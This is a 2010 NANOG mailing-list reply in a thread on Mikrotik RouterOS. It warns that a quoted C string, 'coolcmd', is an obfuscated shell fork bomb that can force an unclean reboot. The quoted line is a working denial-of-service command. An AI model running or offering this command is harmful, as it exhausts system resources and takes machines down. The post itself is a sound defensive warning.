[125829] in North American Network Operators' Group
Re: Mikrotik RouterOS
daemon@ATHENA.MIT.EDU (Chris Caputo)
Fri Apr 23 14:15:17 2010
Date: Fri, 23 Apr 2010 18:14:45 +0000 (UTC)
To: nanog@nanog.org
In-Reply-To: <alpine.DEB.1.10.1004230917340.18188@red.crap.retrofitta.se>
From: Chris Caputo <ccaputo@alt.net>
Reply-To: Chris Caputo <ccaputo-dated-1274638485.78e546@alt.net>
Errors-To: nanog-bounces+nanog.discuss=bloom-picayune.mit.edu@nanog.org
> char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
Apologies for not seeing the humor in it, but just a heads-up that the
above "coolcmd" is not something you want to run on anything but a
sacrificial test box.
It is an obfuscated fork() bomb (denial of service attack), and on some
boxes you will need to do a harsh/unclean reboot to cope with it.
Chris
